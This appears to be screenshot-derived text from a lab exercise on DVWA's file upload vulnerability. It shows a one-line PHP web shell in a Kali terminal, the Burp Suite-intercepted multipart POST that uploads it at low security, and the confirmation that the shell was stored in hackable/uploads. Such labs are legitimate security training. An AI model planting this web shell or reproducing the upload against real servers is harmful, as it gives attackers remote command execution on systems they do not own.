

S6 - L1

```
(kali1@kali) - [~/Desktop]  
$ wc -m shell.php  
38 shell.php
```

```
(kali1@kali)-[~/Desktop]
```

```
$ cat shell.php
```

```
<?php system($_REQUEST['cmd']); ?>
```

Damn Vulnerable Web A

← → × ⚠ Not secure 192.168.56.11/dvwa/vulnerabilities/upload/

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Damn Vulnerable Web Application (DVWA) v1.0.0

Choose an image to upload:

Choose File

shell.php

Upload

More info

http://www.owasp.org/index.php/Unrestricted_File_Upload
<http://blogs.securiteam.com/index.php/archives/1268>
<http://www.acunetix.com/website/security/upload-forms-th>

Burp Suite Community Edition v2023.11.13 - Temporary Project

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn Settings

Intercept HTTP history WebSockets history Proxy settings

Request to http://192.168.56.11:80

Forward Drop Intercept is on Action Open browser

Pretty Raw Hex

1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1

2 Host: 192.168.56.11

3 Content-Length: 434

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

6 Origin: http://192.168.56.11

7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJLGgankTDzk2h9V0

8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36

9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

10 Referer: http://192.168.56.11/dvwa/vulnerabilities/upload/

11 Accept-Encoding: gzip, deflate, br

12 Accept-Language: en-US,en;q=0.9

13 Cookie: security=low; PHPSESSID=c66ec594c9dfa42a9f04ec866e26d5

14 Connection: close

15

16 -----WebKitFormBoundaryJLGgankTDzk2h9V0

17 Content-Disposition: form-data; name="MAX_FILE_SIZE"

18

19 100000

20 -----WebKitFormBoundaryJLGgankTDzk2h9V0

21 Content-Disposition: form-data; name="uploaded"; filename="shell.php"

22 Content-Type: application/x-php

23

24 <?php system(\$_REQUEST['cmd']); ?>

25

26 -----WebKitFormBoundaryJLGgankTDzk2h9V0

27 Content-Disposition: form-data; name="Upload"

28

29 Upload

30 -----WebKitFormBoundaryJLGgankTDzk2h9V0--

31

Inspector

Request attributes 2

Protocol HTTP/1 HTTP/2

Name	Value
Method	POST
Path	/dvwa/vulnerabi...

Request query parameters 0

It's empty in here

Add

Request body parameters 3

Name	Value
MAX_FILE_SIZE	100000
uploaded	<?php system(\$...
Upload	Upload

Request cookies 2


Name	Value
security	low
PHPSESSID	c66ec594c9d...

Request headers 13

0 highlights

Damn Vulnerable Web App

192.168.56.11/dvwa/vulnerabilities/upload/#



Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: File Upload

Choose an image to upload:

Choose File No file chosen

Upload

../../hackable/uploads/shell.php succesfully uploaded!

More info

http://www.owasp.org/index.php/Unrestricted_File_Upload
<http://blogs.securiteam.com/index.php/archives/1268>
<http://www.acunetix.com/websitesecurity/upload-forms-threat.htm>

Username: admin

Security Level: low

PHPIDS: disabled

View Source

View Help

Damn Vulnerable Web Application (DVWA) v1.0.7

BurpProjectIntruderRepeaterViewHelp

DashboardTargetProxyIntruderRepeaterCollaboratorSequencerDecoderComparerLoggerOrganizerExtensionsLearn

InterceptHTTP historyWebSockets historyProxy settings

Request to http://hiderefer.com:80 [unknown host]

ForwardDropIntercept is onActionOpen browser

Add notesHTTP/1

PrettyRawHex

1 GET /?http://www.acunetix.com/websitesecurity/upload-forms-threat.htm HTTP/1.1
2 Host: hiderefer.com
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Referer: http://192.168.56.11/
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: en-US,en;q=0.9
9 Connection: close
10
11

Inspector

Request attributes2
ProtocolHTTP/1HTTP/2
NameValue
MethodGET
Path/
Request query parameters1
NameValue
http://www.acu...
Request body parameters0
It's empty in here
Add
Request cookies0
It's empty in here
Add
Request headers8

0 highlights